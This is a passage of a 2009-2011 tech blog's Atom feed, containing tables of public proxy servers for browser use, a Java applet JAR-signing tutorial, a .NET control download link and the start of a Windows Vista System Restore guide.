class="xl65"&gt;0.959&lt;/td&gt;   &lt;td class="xl65"&gt;&lt;br /&gt;&lt;/td&gt;   &lt;td class="xl65"&gt;PH&lt;/td&gt;   &lt;td class="xl65"&gt;Y&lt;/td&gt;   &lt;td class="xl66"&gt;98%&lt;/td&gt;  &lt;/tr&gt;  &lt;tr style="height: 15pt;" height="20"&gt;   &lt;td class="xl65" style="height: 15pt;" height="20"&gt;202.162.214.66:8080&lt;/td&gt;   &lt;td class="xl65"&gt;0.969&lt;/td&gt;   &lt;td class="xl65"&gt;&lt;br /&gt;&lt;/td&gt;   &lt;td class="xl65"&gt;ID&lt;/td&gt;   &lt;td class="xl65"&gt;Y&lt;/td&gt;   &lt;td class="xl66"&gt;96%&lt;/td&gt;  &lt;/tr&gt;  &lt;tr style="height: 15pt;" height="20"&gt;   &lt;td class="xl65" style="height: 15pt;" height="20"&gt;114.40.197.127:8088&lt;/td&gt;   &lt;td class="xl65"&gt;0.976&lt;/td&gt;   &lt;td class="xl65"&gt;&lt;br /&gt;&lt;/td&gt;   &lt;td class="xl65"&gt;TW&lt;/td&gt;   &lt;td class="xl65"&gt;Y&lt;/td&gt;   &lt;td class="xl66"&gt;99%&lt;/td&gt;  &lt;/tr&gt;  &lt;tr style="height: 15pt;" height="20"&gt;   &lt;td class="xl65" style="height: 15pt;" height="20"&gt;201.54.229.115:3128&lt;/td&gt;   &lt;td class="xl65"&gt;0.988&lt;/td&gt;   &lt;td class="xl65"&gt;&lt;br /&gt;&lt;/td&gt;   &lt;td class="xl65"&gt;BR&lt;/td&gt;   &lt;td class="xl65"&gt;Y&lt;/td&gt;   &lt;td class="xl66"&gt;98%&lt;/td&gt;  &lt;/tr&gt;  &lt;tr style="height: 15pt;" height="20"&gt;   &lt;td class="xl65" style="height: 15pt;" height="20"&gt;41.234.204.158:80&lt;/td&gt;   &lt;td class="xl65"&gt;1.014&lt;/td&gt;   &lt;td class="xl65"&gt;&lt;br /&gt;&lt;/td&gt;   &lt;td class="xl65"&gt;EG&lt;/td&gt;   &lt;td class="xl65"&gt;N&lt;/td&gt;   &lt;td class="xl66"&gt;99%&lt;/td&gt;  &lt;/tr&gt;  &lt;tr style="height: 15pt;" height="20"&gt;   &lt;td class="xl65" style="height: 15pt;" height="20"&gt;211.68.71.142:3128&lt;/td&gt;   &lt;td class="xl65"&gt;1.016&lt;/td&gt;   &lt;td class="xl65"&gt;&lt;br /&gt;&lt;/td&gt;   &lt;td class="xl65"&gt;CN&lt;/td&gt;   &lt;td class="xl65"&gt;N&lt;/td&gt;   &lt;td class="xl66"&gt;85%&lt;/td&gt;  &lt;/tr&gt;  &lt;tr style="height: 15pt;" height="20"&gt;   &lt;td class="xl65" style="height: 15pt;" height="20"&gt;218.20.204.152:9415&lt;/td&gt;   &lt;td class="xl65"&gt;1.034&lt;/td&gt;   &lt;td class="xl65"&gt;&lt;br /&gt;&lt;/td&gt;   &lt;td class="xl65"&gt;CN&lt;/td&gt;   &lt;td class="xl65"&gt;Y&lt;/td&gt;   &lt;td class="xl66"&gt;79%&lt;/td&gt;  &lt;/tr&gt;  &lt;tr style="height: 15pt;" height="20"&gt;   &lt;td class="xl65" style="height: 15pt;" height="20"&gt;115.248.234.251:3128&lt;/td&gt;   &lt;td class="xl65"&gt;1.044&lt;/td&gt;   &lt;td class="xl65"&gt;&lt;br /&gt;&lt;/td&gt;   &lt;td class="xl65"&gt;IN&lt;/td&gt;   &lt;td class="xl65"&gt;N&lt;/td&gt;   &lt;td class="xl66"&gt;94%&lt;/td&gt;  &lt;/tr&gt;  &lt;tr style="height: 15pt;" height="20"&gt;   &lt;td class="xl65" style="height: 15pt;" height="20"&gt;119.100.84.85:9415&lt;/td&gt;   &lt;td class="xl65"&gt;1.046&lt;/td&gt;   &lt;td class="xl65"&gt;&lt;br /&gt;&lt;/td&gt;   &lt;td class="xl65"&gt;CN&lt;/td&gt;   &lt;td class="xl65"&gt;N&lt;/td&gt;   &lt;td class="xl66"&gt;33%&lt;/td&gt;  &lt;/tr&gt;  &lt;tr style="height: 15pt;" height="20"&gt;   &lt;td class="xl65" style="height: 15pt;" height="20"&gt;60.178.193.9:9415&lt;/td&gt;   &lt;td class="xl65"&gt;1.098&lt;/td&gt;   &lt;td class="xl65"&gt;&lt;br /&gt;&lt;/td&gt;   &lt;td class="xl65"&gt;CN&lt;/td&gt;   &lt;td class="xl65"&gt;N&lt;/td&gt;   &lt;td class="xl66"&gt;88%&lt;/td&gt;  &lt;/tr&gt;  &lt;tr style="height: 15pt;" height="20"&gt;   &lt;td class="xl65" style="height: 15pt;" height="20"&gt;222.161.137.199:8080&lt;/td&gt;   &lt;td class="xl65"&gt;1.119&lt;/td&gt;   &lt;td class="xl65"&gt;&lt;br /&gt;&lt;/td&gt;   &lt;td class="xl65"&gt;CN&lt;/td&gt;   &lt;td class="xl65"&gt;N&lt;/td&gt;   &lt;td class="xl66"&gt;94%&lt;/td&gt;  &lt;/tr&gt;  &lt;tr style="height: 15pt;" height="20"&gt;   &lt;td class="xl65" style="height: 15pt;" height="20"&gt;74.210.2.173:8085&lt;/td&gt;   &lt;td class="xl65"&gt;1.161&lt;/td&gt;   &lt;td class="xl65"&gt;&lt;br /&gt;&lt;/td&gt;   &lt;td class="xl65"&gt;CA&lt;/td&gt;   &lt;td class="xl65"&gt;N&lt;/td&gt;   &lt;td class="xl66"&gt;15%&lt;/td&gt;  &lt;/tr&gt;  &lt;tr style="height: 15pt;" height="20"&gt;   &lt;td class="xl65" style="height: 15pt;" height="20"&gt;116.232.230.88:9415&lt;/td&gt;   &lt;td class="xl65"&gt;1.282&lt;/td&gt;   &lt;td class="xl65"&gt;&lt;br /&gt;&lt;/td&gt;   &lt;td class="xl65"&gt;CN&lt;/td&gt;   &lt;td class="xl65"&gt;N&lt;/td&gt;   &lt;td class="xl66"&gt;33%&lt;/td&gt;  &lt;/tr&gt;  &lt;tr style="height: 15pt;" height="20"&gt;   &lt;td class="xl65" style="height: 15pt;" height="20"&gt;110.136.149.35:8080&lt;/td&gt;   &lt;td class="xl65"&gt;1.283&lt;/td&gt;   &lt;td class="xl65"&gt;&lt;br /&gt;&lt;/td&gt;   &lt;td class="xl65"&gt;ID&lt;/td&gt;   &lt;td class="xl65"&gt;N&lt;/td&gt;   &lt;td class="xl66"&gt;89%&lt;/td&gt;  &lt;/tr&gt;  &lt;tr style="height: 15pt;" height="20"&gt;   &lt;td class="xl65" style="height: 15pt;" height="20"&gt;61.50.139.173:80&lt;/td&gt;   &lt;td class="xl65"&gt;1.29&lt;/td&gt;   &lt;td class="xl65"&gt;&lt;br /&gt;&lt;/td&gt;   &lt;td class="xl65"&gt;CN&lt;/td&gt;   &lt;td class="xl65"&gt;N&lt;/td&gt;   &lt;td class="xl66"&gt;98%&lt;/td&gt;  &lt;/tr&gt;  &lt;tr style="height: 15pt;" height="20"&gt;   &lt;td class="xl65" style="height: 15pt;" height="20"&gt;123.234.70.58:3128&lt;/td&gt;   &lt;td class="xl65"&gt;1.337&lt;/td&gt;   &lt;td class="xl65"&gt;&lt;br /&gt;&lt;/td&gt;   &lt;td class="xl65"&gt;CN&lt;/td&gt;   &lt;td class="xl65"&gt;N&lt;/td&gt;   &lt;td class="xl66"&gt;97%&lt;/td&gt;  &lt;/tr&gt;  &lt;tr style="height: 15pt;" height="20"&gt;   &lt;td class="xl65" style="height: 15pt;" height="20"&gt;80.80.165.62:3128&lt;/td&gt;   &lt;td class="xl65"&gt;1.343&lt;/td&gt;   &lt;td class="xl65"&gt;&lt;br /&gt;&lt;/td&gt;   &lt;td class="xl65"&gt;MK&lt;/td&gt;   &lt;td class="xl65"&gt;Y&lt;/td&gt;   &lt;td class="xl66"&gt;100%&lt;/td&gt;  &lt;/tr&gt; &lt;/tbody&gt;&lt;/table&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/581094467797720912-7891189675617742093?l=crackspiders.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://crackspiders.blogspot.com/feeds/7891189675617742093/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=581094467797720912&amp;postID=7891189675617742093' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/581094467797720912/posts/default/7891189675617742093'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/581094467797720912/posts/default/7891189675617742093'/><link rel='alternate' type='text/html' href='http://crackspiders.blogspot.com/2011/02/setting-up-proxy-via-browser-in-oder-to.html' title='Setting Up a proxy via browser in oder to play Flas Viedos and access Mail'/><author><name>ITDREAMES</name><uri>http://www.blogger.com/profile/07153074550625823993</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/-u55S_K3SBlo/TWjV58CkirI/AAAAAAAAADU/IEnDS5YhhHQ/s72-c/foxy.JPG' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-581094467797720912.post-5570779594603233507</id><published>2011-02-18T07:41:00.000-08:00</published><updated>2011-02-18T08:22:27.326-08:00</updated><title type='text'></title><content type='html'>Proxy By passing via browser&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;FireFox&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt; &lt;table border="0" cellpadding="0" cellspacing="0" width="734"&gt;&lt;col style="width: 95pt;" width="126"&gt;  &lt;col style="width: 48pt;" span="5" width="64"&gt;  &lt;col style="width: 216pt;" width="288"&gt;  &lt;tbody&gt;&lt;tr style="height: 15pt;" height="20"&gt;   &lt;td style="height: 15pt; width: 95pt;" height="20" width="126"&gt;Proxy:Port&lt;/td&gt;   &lt;td style="width: 48pt;" width="64"&gt;Latency&lt;/td&gt;   &lt;td style="width: 48pt;" width="64"&gt; Type&lt;/td&gt;   &lt;td style="width: 48pt;" width="64"&gt;Country&lt;/td&gt;   &lt;td style="width: 48pt;" width="64"&gt;SSL&lt;/td&gt;   &lt;td style="width: 48pt;" width="64"&gt;Uptime&lt;/td&gt;   &lt;td style="width: 216pt;" width="288"&gt;Last work time&lt;/td&gt;  &lt;/tr&gt;  &lt;tr style="height: 15pt;" height="20"&gt;   &lt;td style="height: 15pt;" height="20"&gt;189.1.97.195:3128&lt;/td&gt;   &lt;td align="right"&gt;0.183&lt;/td&gt;   &lt;td&gt; Transp.&lt;/td&gt;   &lt;td&gt;BR&lt;/td&gt;   &lt;td&gt;Y&lt;/td&gt;   &lt;td class="xl63" align="right"&gt;98%&lt;/td&gt;   &lt;td class="xl64" align="right"&gt;2/18/2011 15:38&lt;/td&gt;  &lt;/tr&gt;  &lt;tr style="height: 15pt;" height="20"&gt;   &lt;td style="height: 15pt;" height="20"&gt;62.84.12.41:8080&lt;/td&gt;   &lt;td align="right"&gt;0.258&lt;/td&gt;   &lt;td&gt;Transp.&lt;/td&gt;   &lt;td&gt;LV&lt;/td&gt;   &lt;td&gt;Y&lt;/td&gt;   &lt;td class="xl63" align="right"&gt;88%&lt;/td&gt;   &lt;td class="xl64" align="right"&gt;2/18/2011 15:38&lt;/td&gt;  &lt;/tr&gt;  &lt;tr style="height: 15pt;" height="20"&gt;   &lt;td style="height: 15pt;" height="20"&gt;98.214.19.32:8085&lt;/td&gt;   &lt;td align="right"&gt;0.266&lt;/td&gt;   &lt;td&gt;Anon.&lt;/td&gt;   &lt;td&gt;US&lt;/td&gt;   &lt;td&gt;N&lt;/td&gt;   &lt;td class="xl63" align="right"&gt;30%&lt;/td&gt;   &lt;td class="xl64" align="right"&gt;2/18/2011 15:30&lt;/td&gt;  &lt;/tr&gt;  &lt;tr style="height: 15pt;" height="20"&gt;   &lt;td style="height: 15pt;" height="20"&gt;203.82.67.197:3128&lt;/td&gt;   &lt;td align="right"&gt;0.275&lt;/td&gt;   &lt;td&gt;Transp.&lt;/td&gt;   &lt;td&gt;MY&lt;/td&gt;   &lt;td&gt;Y&lt;/td&gt;   &lt;td class="xl63" align="right"&gt;100%&lt;/td&gt;   &lt;td class="xl64" align="right"&gt;2/18/2011 15:38&lt;/td&gt;  &lt;/tr&gt;  &lt;tr style="height: 15pt;" height="20"&gt;   &lt;td style="height: 15pt;" height="20"&gt;82.199.105.194:3128&lt;/td&gt;   &lt;td align="right"&gt;0.279&lt;/td&gt;   &lt;td&gt;Transp.&lt;/td&gt;   &lt;td&gt;RU&lt;/td&gt;   &lt;td&gt;Y&lt;/td&gt;   &lt;td class="xl63" align="right"&gt;91%&lt;/td&gt;   &lt;td class="xl64" align="right"&gt;2/18/2011 15:38&lt;/td&gt;  &lt;/tr&gt;  &lt;tr style="height: 15pt;" height="20"&gt;   &lt;td style="height: 15pt;" height="20"&gt;201.57.146.148:3128&lt;/td&gt;   &lt;td align="right"&gt;0.314&lt;/td&gt;   &lt;td&gt;Transp.&lt;/td&gt;   &lt;td&gt;BR&lt;/td&gt;   &lt;td&gt;Y&lt;/td&gt;   &lt;td class="xl63" align="right"&gt;100%&lt;/td&gt;   &lt;td class="xl64" align="right"&gt;2/18/2011 15:38&lt;/td&gt;  &lt;/tr&gt;  &lt;tr style="height: 15pt;" height="20"&gt;   &lt;td style="height: 15pt;" height="20"&gt;46.51.160.218:80&lt;/td&gt;   &lt;td align="right"&gt;0.337&lt;/td&gt;   &lt;td&gt;Transp.&lt;/td&gt;   &lt;td&gt;NN&lt;/td&gt;   &lt;td&gt;Y&lt;/td&gt;   &lt;td class="xl63" align="right"&gt;100%&lt;/td&gt;   &lt;td class="xl64" align="right"&gt;2/18/2011 15:38&lt;/td&gt;  &lt;/tr&gt;  &lt;tr style="height: 15pt;" height="20"&gt;   &lt;td style="height: 15pt;" height="20"&gt;109.235.49.143:80&lt;/td&gt;   &lt;td align="right"&gt;0.341&lt;/td&gt;   &lt;td&gt;Transp.&lt;/td&gt;   &lt;td&gt;NL&lt;/td&gt;   &lt;td&gt;Y&lt;/td&gt;   &lt;td class="xl63" align="right"&gt;88%&lt;/td&gt;   &lt;td class="xl64" align="right"&gt;2/18/2011 15:38&lt;/td&gt;  &lt;/tr&gt;  &lt;tr style="height: 15pt;" height="20"&gt;   &lt;td style="height: 15pt;" height="20"&gt;109.230.128.179:8080&lt;/td&gt;   &lt;td align="right"&gt;0.373&lt;/td&gt;   &lt;td&gt;Transp.&lt;/td&gt;   &lt;td&gt;RU&lt;/td&gt;   &lt;td&gt;Y&lt;/td&gt;   &lt;td class="xl63" align="right"&gt;98%&lt;/td&gt;   &lt;td class="xl64" align="right"&gt;2/18/2011 15:38&lt;/td&gt;  &lt;/tr&gt;  &lt;tr style="height: 15pt;" height="20"&gt;   &lt;td style="height: 15pt;" height="20"&gt;189.90.146.66:3129&lt;/td&gt;   &lt;td align="right"&gt;0.38&lt;/td&gt;   &lt;td&gt;Transp.&lt;/td&gt;   &lt;td&gt;BR&lt;/td&gt;   &lt;td&gt;Y&lt;/td&gt;   &lt;td class="xl63" align="right"&gt;100%&lt;/td&gt;   &lt;td class="xl64" align="right"&gt;2/18/2011 15:38&lt;/td&gt;  &lt;/tr&gt;  &lt;tr style="height: 15pt;" height="20"&gt;   &lt;td style="height: 15pt;" height="20"&gt;213.197.81.50:3128&lt;/td&gt;   &lt;td align="right"&gt;0.383&lt;/td&gt;   &lt;td&gt;Transp.&lt;/td&gt;   &lt;td&gt;SK&lt;/td&gt;   &lt;td&gt;Y&lt;/td&gt;   &lt;td class="xl63" align="right"&gt;100%&lt;/td&gt;   &lt;td class="xl64" align="right"&gt;2/18/2011 15:38&lt;/td&gt;  &lt;/tr&gt;  &lt;tr style="height: 15pt;" height="20"&gt;   &lt;td style="height: 15pt;" height="20"&gt;91.103.91.33:8080&lt;/td&gt;   &lt;td align="right"&gt;0.392&lt;/td&gt;   &lt;td&gt;Transp.&lt;/td&gt;   &lt;td&gt;MK&lt;/td&gt;   &lt;td&gt;Y&lt;/td&gt;   &lt;td class="xl63" align="right"&gt;89%&lt;/td&gt;   &lt;td class="xl64" align="right"&gt;2/18/2011 15:38&lt;/td&gt;  &lt;/tr&gt;  &lt;tr style="height: 15pt;" height="20"&gt;   &lt;td style="height: 15pt;" height="20"&gt;188.138.32.165:3128&lt;/td&gt;   &lt;td align="right"&gt;0.447&lt;/td&gt;   &lt;td&gt;Transp.&lt;/td&gt;   &lt;td&gt;DE&lt;/td&gt;   &lt;td&gt;Y&lt;/td&gt;   &lt;td class="xl63" align="right"&gt;63%&lt;/td&gt;   &lt;td class="xl64" align="right"&gt;2/18/2011 15:38&lt;/td&gt;  &lt;/tr&gt;  &lt;tr style="height: 15pt;" height="20"&gt;   &lt;td style="height: 15pt;" height="20"&gt;187.35.92.125:3128&lt;/td&gt;   &lt;td align="right"&gt;0.449&lt;/td&gt;   &lt;td&gt;Transp.&lt;/td&gt;   &lt;td&gt;BR&lt;/td&gt;   &lt;td&gt;Y&lt;/td&gt;   &lt;td class="xl63" align="right"&gt;99%&lt;/td&gt;   &lt;td class="xl64" align="right"&gt;2/18/2011 15:38&lt;/td&gt;  &lt;/tr&gt;  &lt;tr style="height: 15pt;" height="20"&gt;   &lt;td style="height: 15pt;" height="20"&gt;77.74.55.147:80&lt;/td&gt;   &lt;td align="right"&gt;0.481&lt;/td&gt;   &lt;td&gt;Anon.&lt;/td&gt;   &lt;td&gt;NL&lt;/td&gt;   &lt;td&gt;Y&lt;/td&gt;   &lt;td class="xl63" align="right"&gt;89%&lt;/td&gt;   &lt;td class="xl64" align="right"&gt;2/18/2011 15:30&lt;/td&gt;  &lt;/tr&gt;  &lt;tr style="height: 15pt;" height="20"&gt;   &lt;td style="height: 15pt;" height="20"&gt;190.40.7.124:80&lt;/td&gt;   &lt;td align="right"&gt;0.485&lt;/td&gt;   &lt;td&gt;Transp.&lt;/td&gt;   &lt;td&gt;MK&lt;/td&gt;   &lt;td&gt;Y&lt;/td&gt;   &lt;td class="xl63" align="right"&gt;86%&lt;/td&gt;   &lt;td class="xl64" align="right"&gt;2/18/2011 15:38&lt;/td&gt;  &lt;/tr&gt;  &lt;tr style="height: 15pt;" height="20"&gt;   &lt;td style="height: 15pt;" height="20"&gt;201.23.70.170:3128&lt;/td&gt;   &lt;td align="right"&gt;0.489&lt;/td&gt;   &lt;td&gt;Transp.&lt;/td&gt;   &lt;td&gt;BR&lt;/td&gt;   &lt;td&gt;Y&lt;/td&gt;   &lt;td class="xl63" align="right"&gt;99%&lt;/td&gt;   &lt;td class="xl64" align="right"&gt;2/18/2011 15:38&lt;/td&gt;  &lt;/tr&gt;  &lt;tr style="height: 15pt;" height="20"&gt;   &lt;td style="height: 15pt;" height="20"&gt;201.47.57.175:8080&lt;/td&gt;   &lt;td align="right"&gt;0.505&lt;/td&gt;   &lt;td&gt;Transp.&lt;/td&gt;   &lt;td&gt;BR&lt;/td&gt;   &lt;td&gt;Y&lt;/td&gt;   &lt;td class="xl63" align="right"&gt;100%&lt;/td&gt;   &lt;td class="xl64" align="right"&gt;2/18/2011 15:38&lt;/td&gt;  &lt;/tr&gt;  &lt;tr style="height: 15pt;" height="20"&gt;   &lt;td style="height: 15pt;" height="20"&gt;114.127.246.70:8080&lt;/td&gt;   &lt;td align="right"&gt;0.555&lt;/td&gt;   &lt;td&gt;Elite&lt;/td&gt;   &lt;td&gt;ID&lt;/td&gt;   &lt;td&gt;N&lt;/td&gt;   &lt;td class="xl63" align="right"&gt;100%&lt;/td&gt;   &lt;td class="xl64" align="right"&gt;2/18/2011 15:30&lt;/td&gt;  &lt;/tr&gt; &lt;/tbody&gt;&lt;/table&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/581094467797720912-5570779594603233507?l=crackspiders.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://crackspiders.blogspot.com/feeds/5570779594603233507/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=581094467797720912&amp;postID=5570779594603233507' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/581094467797720912/posts/default/5570779594603233507'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/581094467797720912/posts/default/5570779594603233507'/><link rel='alternate' type='text/html' href='http://crackspiders.blogspot.com/2011/02/proxy-by-passing-via-browser-firefox.html' title=''/><author><name>ITDREAMES</name><uri>http://www.blogger.com/profile/07153074550625823993</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-581094467797720912.post-6628043885510719169</id><published>2011-02-12T08:38:00.000-08:00</published><updated>2011-02-12T09:14:08.354-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='keytool -genkey'/><category scheme='http://www.blogger.com/atom/ns#' term='jarsigner'/><category scheme='http://www.blogger.com/atom/ns#' term='SocketPermission connect'/><category scheme='http://www.blogger.com/atom/ns#' term='Sign Your Applet'/><category scheme='http://www.blogger.com/atom/ns#' term='java.io.FilePermisson C:\text.txt read write'/><category scheme='http://www.blogger.com/atom/ns#' term='JAR Signing'/><title type='text'>Sign Your Applet (JAR Signing)</title><content type='html'>you create an Applet and when you run it using a browser some times you get following Errors.&lt;br /&gt;&lt;span style="color: rgb(255, 102, 102);"&gt;access denied (java.io.FilePermisson C:\text.txt read write)&lt;/span&gt;&lt;br /&gt;or&lt;br /&gt;&lt;span style="color: rgb(255, 102, 102);"&gt;SocketPermission connect.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;but if you run the same code in command line or in Swing GUI then works fine.&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 51, 255);"&gt;So what is the problem ?&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Problem is when you run an Applet some restrictions are applied.such as accessing to a file systems, connecting via Sockets and many more.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(51, 51, 255);"&gt;So how do I run My applet with all functionality ?&lt;/span&gt;&lt;br /&gt;Solution is Sign your  Applet Jar .&lt;br /&gt;&lt;br /&gt;1 .  Open Command Prompt&lt;br /&gt;2.  Set the path to JDK\bin  . in my system it's C:\Program Files\Java\jdk1.6.0_23\bin&lt;br /&gt;3    type&lt;span style="font-style: italic;"&gt; &lt;span style="color: rgb(0, 102, 0);"&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;keytool -list&lt;/span&gt; &lt;/span&gt;&lt;/span&gt;  to see  already created keys by you&lt;br /&gt;4.   if you have already created a key pair the you can skip to &lt;span style="color: rgb(51, 51, 255);"&gt;Now Sign your Applet(Jar)&lt;/span&gt;&lt;br /&gt;5.  type &lt;span style="font-style: italic; color: rgb(0, 153, 0);"&gt;keytool -genkey&lt;/span&gt;   press enter and .&lt;br /&gt;6   if required for password enter a password .&lt;br /&gt;7.  confirm the password&lt;br /&gt;8.  Enter the your First Name&lt;br /&gt;9.  Enter the name of your organizational unit.&lt;br /&gt;10.Enter the name of your organization&lt;br /&gt;11. Enter Your City&lt;br /&gt;12. Enter Your  State&lt;br /&gt;13. Enter Your  two-letter country code&lt;br /&gt;14. Enter   yes&lt;br /&gt;15. press Enter Key  if you wish to use same password as above. if not enter a new password and confirm it.&lt;br /&gt;&lt;span style="font-weight: bold;"&gt; &lt;span style="color: rgb(51, 51, 255);"&gt;Now Sign your Applet(Jar)&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;Just  Type &lt;span style="font-style: italic; color: rgb(0, 153, 0);"&gt; jarsigner   C:\jartosign\myapp.jar            mykey&lt;/span&gt;&lt;br /&gt;Enter passwords if required.&lt;br /&gt;&lt;br /&gt; * &lt;span style="font-style: italic;"&gt;C:\jartosign\myapp.jar&lt;/span&gt;    - This should point your jar file.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/581094467797720912-6628043885510719169?l=crackspiders.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://crackspiders.blogspot.com/feeds/6628043885510719169/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=581094467797720912&amp;postID=6628043885510719169' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/581094467797720912/posts/default/6628043885510719169'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/581094467797720912/posts/default/6628043885510719169'/><link rel='alternate' type='text/html' href='http://crackspiders.blogspot.com/2011/02/sign-your-applet-jar-signing.html' title='Sign Your Applet (JAR Signing)'/><author><name>ITDREAMES</name><uri>http://www.blogger.com/profile/07153074550625823993</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-581094467797720912.post-4482791421491952031</id><published>2009-04-12T00:46:00.000-07:00</published><updated>2009-04-13T03:29:03.290-07:00</updated><title type='text'>Folder View For .Net ,C#,VB.Net</title><content type='html'>Hi,&lt;br /&gt;I had Problem To List All Folders In Tree View (Folder View) For .Net to use for various  . Net Applications finally I've developed my own Folder view user Control Thats Reusable&lt;br /&gt;You Can Download it Here&lt;br /&gt;&lt;a href="http://www.mediafire.com/download.php?tmiykhmmj2m"&gt;DOWNLOAD USER CONTROL&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/581094467797720912-4482791421491952031?l=crackspiders.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://crackspiders.blogspot.com/feeds/4482791421491952031/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=581094467797720912&amp;postID=4482791421491952031' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/581094467797720912/posts/default/4482791421491952031'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/581094467797720912/posts/default/4482791421491952031'/><link rel='alternate' type='text/html' href='http://crackspiders.blogspot.com/2009/04/hi-i-had-problem-to-list-all-folders-in.html' title='Folder View For .Net ,C#,VB.Net'/><author><name>ITDREAMES</name><uri>http://www.blogger.com/profile/07153074550625823993</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-581094467797720912.post-5814862818279711451</id><published>2009-02-12T03:44:00.000-08:00</published><updated>2009-02-12T03:45:16.779-08:00</updated><title type='text'>Windows Vista System Restore Guide</title><content type='html'>&lt;span id="intelliTxt"&gt;&lt;p align="center"&gt;&lt;b&gt;&lt;u&gt;&lt;strong&gt;&lt;span id="nointelliTXT"&gt;Windows Vista System Restore Guide&lt;/span&gt;&lt;/strong&gt;&lt;/u&gt;&lt;/b&gt;&lt;/p&gt; &lt;p align="left"&gt; &lt;/p&gt;  &lt;p align="left"&gt;&lt;strong&gt;&lt;u&gt;Table of Contents&lt;/u&gt;&lt;/strong&gt;&lt;/p&gt;  &lt;ul&gt;&lt;li&gt;&lt;a href="http://www.bleepingcomputer.com/tutorials/tutorial143.html#intro"&gt;Introduction System Restore&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.bleepingcomputer.com/tutorials/tutorial143.html#restore"&gt;Restoring Windows Vista to a previous State&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.bleepingcomputer.com/tutorials/tutorial143.html#manual"&gt;Manually Creating Restore Points&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.bleepingcomputer.com/tutorials/tutorial143.html#delete"&gt;How to delete Restore Points&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.bleepingcomputer.com/tutorials/tutorial143.html#disable"&gt;How to disable System Restore&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.bleepingcomputer.com/tutorials/tutorial143.html#enable"&gt;How to enable System Restore&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.bleepingcomputer.com/tutorials/tutorial143.html#shadow"&gt;System Restore and Shadow Copy&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.bleepingcomputer.com/tutorials/tutorial143.html#conc"&gt;Conclusion&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;  &lt;p align="left"&gt;&lt;a name="intro"&gt;&lt;/a&gt;&lt;strong&gt;&lt;u&gt;Introduction to System Restore&lt;/u&gt;&lt;/strong&gt;&lt;/p&gt;  &lt;p align="left"&gt;    &lt;!-- Description --&gt; System Restore is a system recovery feature of Windows that creates snapshots, or restore points, of the state of your computer at various intervals or before you perform a certain task. These restore points can then be used to restore your computer back to the state it was in when they were taken. When these restore points are created, and restored, the only files affected are the Windows Registry, programs, and system files. Your data such as spreadsheets, documents, images, and music remain untouched between restores.&lt;/p&gt;   &lt;p align="left"&gt;You may be wondering why you would want to restore your computer    to a previous point. The reason being that there comes a time in every computer    user's life that they install a new program, install a new driver, or just turn    on the computer and find it no longer works as it did the day before. You have    no idea why, can't resolve the problems, and are left with two options. You    can either backup your data, reinstall the operating system, and then 